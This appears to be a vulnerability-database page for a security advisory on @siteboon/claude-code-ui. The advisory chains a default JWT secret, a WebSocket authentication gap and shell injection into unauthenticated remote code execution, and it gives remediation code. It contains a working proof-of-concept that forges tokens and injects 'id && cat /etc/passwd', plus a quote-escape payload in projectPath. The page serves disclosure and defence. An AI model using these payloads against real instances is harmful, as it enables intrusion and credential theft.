  "details": "# Security Advisory: Insecure Default JWT Secret + WebSocket Auth Bypass Enables Unauthenticated RCE via Shell Injection\nDownload: [cve_claudecodeui_submission_v2.zip](https://github.com/user-attachments/files/25686652/cve_claudecodeui_submission_v2.zip)\n\n## \uf4cb Submission Info\n\n| Field | Value |\n|-------|-------|\n| **Package** | `@siteboon/claude-code-ui` |\n| **Ecosystem** | npm |\n| **Affected versions** | `\u003c= 1.24.0` (latest) |\n| **Severity** | Critical |\n| **CVSS Score** | 9.8 |\n| **CVSS Vector** | `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` |\n| **CWE** | CWE-1188, CWE-287, CWE-78 |\n| **Reported** | 2026-03-02 |\n| **Researcher** | Ethan-Yang (OPCIA) |\n\n---\n\n## Summary\n\nThree chained vulnerabilities allow **unauthenticated remote code execution** on any\nclaudecodeui instance running with default configuration. No account, credentials, or\nprior access is required.\n\nThe root cause of RCE is **OS command injection (CWE-78)** in the WebSocket shell\nhandler. Authentication is bypassed by combining an insecure default JWT secret\n**(CWE-1188)** with a WebSocket authentication function that skips database user\nvalidation **(CWE-287)**.\n\n---\n\n## Vulnerability Details\n\n### 1. Insecure Default JWT Secret \u2014 `CWE-1188`\n\n**File**: `server/middleware/auth.js`, line 6\n\n```javascript\nconst JWT_SECRET = process.env.JWT_SECRET || \u0027claude-ui-dev-secret-change-in-production\u0027;\n```\n\nThe server uses an environment variable for `JWT_SECRET`, but falls back to a\nwell-known default value when the variable is not set. Critically, `JWT_SECRET` is\n**not included in `.env.example`**, so the majority of users deploy without setting it,\nleaving the fallback value in effect.\n\nSince this default string is published verbatim in the public source code, any attacker\ncan use it to sign arbitrary JWT tokens.\n\n---\n\n### 2. WebSocket Authentication Skips Database Validation \u2014 `CWE-287`\n\n**File**: `server/middleware/auth.js`, lines 82\u2013108\n\n`authenticateWebSocket()` only verifies the JWT **signature**. It does **not** check\nwhether the `userId` in the payload actually exists in the database \u2014 unlike\n`authenticateToken()` which is used for REST endpoints and does perform this check:\n\n```javascript\n// authenticateWebSocket() \u2014 VULNERABLE\nconst decoded = jwt.verify(token, JWT_SECRET);\nreturn decoded;  // \u2190 userId never verified against DB\n\n// authenticateToken() \u2014 CORRECT (REST endpoints)\nconst decoded = jwt.verify(token, JWT_SECRET);\nconst user = userDb.getUserById(decoded.userId);  // \u2190 DB check present\nif (!user) return res.status(401)...\n```\n\nA forged token with a non-existent `userId` passes WebSocket authentication,\nbypassing access control entirely.\n\n---\n\n### 3. OS Command Injection via WebSocket Shell \u2014 `CWE-78`\n\n**File**: `server/index.js`, line 1179\n\n```javascript\n\nshellCommand = `cd \"${projectPath}\" \u0026\u0026 ${initialCommand}`;\n```\n\nBoth `projectPath` and `initialCommand` are taken directly from the WebSocket message\npayload and interpolated into a bash command string without any sanitization,\nenabling arbitrary OS command execution.\n\nA secondary injection vector exists at line 1257 via unsanitized `sessionId`:\n\n```javascript\nshellCommand = `cd \"${projectPath}\" \u0026\u0026 claude --resume ${sessionId} || claude`;\n```\n\n---\n\n## Proof of Concept\n\n**Requirements**: Node.js, `jsonwebtoken`, `ws`\n\n```javascript\nimport jwt from \u0027jsonwebtoken\u0027;\nimport WebSocket from \u0027ws\u0027;\n\n// Step 1: Sign a token with the publicly known default secret\nconst token = jwt.sign(\n  { userId: 1337, username: \u0027attacker\u0027 },\n  \u0027claude-ui-dev-secret-change-in-production\u0027\n);\n\n// Step 2: Connect to /shell WebSocket \u2014 auth passes because\n//         authenticateWebSocket() does not verify userId in DB\nconst ws = new WebSocket(`ws://TARGET_HOST:3001/shell?token=${token}`);\n\nws.on(\u0027open\u0027, () =\u003e {\n  // Step 3: initialCommand is injected directly into bash\n  ws.send(JSON.stringify({\n    type: \u0027init\u0027,\n    projectPath: \u0027/tmp\u0027,\n    initialCommand: \u0027id \u0026\u0026 cat /etc/passwd\u0027,\n    isPlainShell: true,\n    hasSession: false\n  }));\n});\n\nws.on(\u0027message\u0027, (data) =\u003e {\n  const msg = JSON.parse(data);\n  if (msg.type === \u0027output\u0027) process.stdout.write(msg.data);\n});\n```\n\n**Actual output observed during testing:**\n```\nuid=1001(user) gid=1001(user) groups=1001(user),27(sudo)\nubuntu\nroot:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\n...\n```\n\n### Secondary vector \u2014 `projectPath` double-quote escape injection\n\n```javascript\nws.send(JSON.stringify({\n  type: \u0027init\u0027,\n  projectPath: \u0027\" \u0026\u0026 id \u0026\u0026 echo \"pwned\" # \u0027,\n  provider: \u0027claude\u0027,\n  hasSession: false\n}));\n// Server executes: cd \"\" \u0026\u0026 id \u0026\u0026 echo \"pwned\" # \" \u0026\u0026 claude\n// Output: uid=1001... / pwned\n```\n\n---\n\n## Additional Findings\n\n| CWE | Location | Description |\n|-----|----------|-------------|\n| CWE-306 | `server/routes/auth.js:22` | `/api/auth/register` requires no authentication \u2014 first caller becomes admin |\n| CWE-942 | `server/index.js:325` | `cors()` with no options sets `Access-Control-Allow-Origin: *` |\n| CWE-613 | `server/middleware/auth.js:70` | `generateToken()` sets no `expiresIn` \u2014 tokens never expire |\n\n---\n\n## Impact\n\nAny claudecodeui instance accessible over the network where `JWT_SECRET` is not\nexplicitly configured (the default case, as it is absent from `.env.example`) is\nvulnerable to:\n\n- **Full OS command execution** as the server process user\n- **File system read/write** access\n- **Credential theft** (SSH keys, `.env` files, API keys stored on the host)\n- **Lateral movement** within the host network\n\nThe attack requires **zero authentication** and succeeds immediately after\ndefault installation.\n\n---\n\n## Remediation\n\n### Fix 1 \u2014 Enforce explicit JWT_SECRET; remove insecure default\n```javascript\n// server/middleware/auth.js\nconst JWT_SECRET = process.env.JWT_SECRET;\nif (!JWT_SECRET) {\n  console.error(\u0027[FATAL] JWT_SECRET environment variable must be set\u0027);\n  process.exit(1);\n}\n```\nAlso add `JWT_SECRET=` to `.env.example` with a clear instruction to set a strong random value.\n\n### Fix 2 \u2014 Add DB user existence check in WebSocket authentication\n```javascript\nconst authenticateWebSocket = (token) =\u003e {\n  if (!token) return null;\n  try {\n    const decoded = jwt.verify(token, JWT_SECRET);\n    const user = userDb.getUserById(decoded.userId); // \u2190 add\n    if (!user) return null;                          // \u2190 add\n    return user;\n  } catch (error) {\n    return null;\n  }\n};\n```\n\n### Fix 3 \u2014 Replace shell string interpolation with spawn argument array\n```javascript\n// Instead of:\nconst shellProcess = pty.spawn(\u0027bash\u0027, [\u0027-c\u0027, `cd \"${projectPath}\" \u0026\u0026 ${initialCommand}`], ...);\n\n// Use:\nconst shellProcess = pty.spawn(initialCommand.split(\u0027 \u0027)[0], initialCommand.split(\u0027 \u0027).slice(1), {\n  cwd: projectPath  // pass path as cwd, not shell string\n});\n```\n\n### Fix 4 \u2014 Additional hardening\n- Add `expiresIn: \u002724h\u0027` to `generateToken()`\n- Restrict CORS to specific trusted origins\n- Rate-limit and restrict `/api/auth/register` to localhost on initial setup\n\n---\n\n## Timeline\n\n| Date | Event |\n|------|-------|\n| 2026-03-02 | Vulnerabilities discovered and verified via PoC |\n| 2026-03-02 | Private advisory submitted to maintainer |\n| 2026-06-01 | Public disclosure (90-day deadline) |\n\n---\n\n## Researcher\n\n**Ethan-Yang** \u2014 OPCIA",
  "id": "GHSA-gv8f-wpm2-m5wr",
  "modified": "2026-03-11T20:58:52Z",
  "published": "2026-03-11T00:37:25Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/siteboon/claudecodeui/security/advisories/GHSA-gv8f-wpm2-m5wr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-31975"
    },
    {
      "type": "WEB",
      "url": "https://github.com/siteboon/claudecodeui/commit/12e7f074d9563b3264caf9cec6e1b701c301af26"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/siteboon/claudecodeui"
    },
    {
      "type": "WEB",
      "url": "https://github.com/siteboon/claudecodeui/releases/tag/v1.25.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "@siteboon/claude-code-ui Vulnerable to Unauthenticated RCE via WebSocket Shell Injection"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

Order JSON

How durations are calculated

Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.

Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.

Publication & reservation Sightings KEV catalogs Other timestamps

Loading timeline…

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-31975 (GCVE-0-2026-31975)

FKIE_CVE-2026-31975

GHSA-GV8F-WPM2-M5WR

Security Advisory: Insecure Default JWT Secret + WebSocket Auth Bypass Enables Unauthenticated RCE via Shell Injection

 Submission Info

Summary

Vulnerability Details

1. Insecure Default JWT Secret — CWE-1188

2. WebSocket Authentication Skips Database Validation — CWE-287

3. OS Command Injection via WebSocket Shell — CWE-78

Proof of Concept

Secondary vector — projectPath double-quote escape injection

Additional Findings

Impact

Remediation

Fix 1 — Enforce explicit JWT_SECRET; remove insecure default

Fix 2 — Add DB user existence check in WebSocket authentication

Fix 3 — Replace shell string interpolation with spawn argument array

Fix 4 — Additional hardening

Timeline

Researcher

Tags

Sightings

Nomenclature

Vulnerability timeline

Related by attack behaviour

1. Insecure Default JWT Secret — `CWE-1188`

2. WebSocket Authentication Skips Database Validation — `CWE-287`

3. OS Command Injection via WebSocket Shell — `CWE-78`

Secondary vector — `projectPath` double-quote escape injection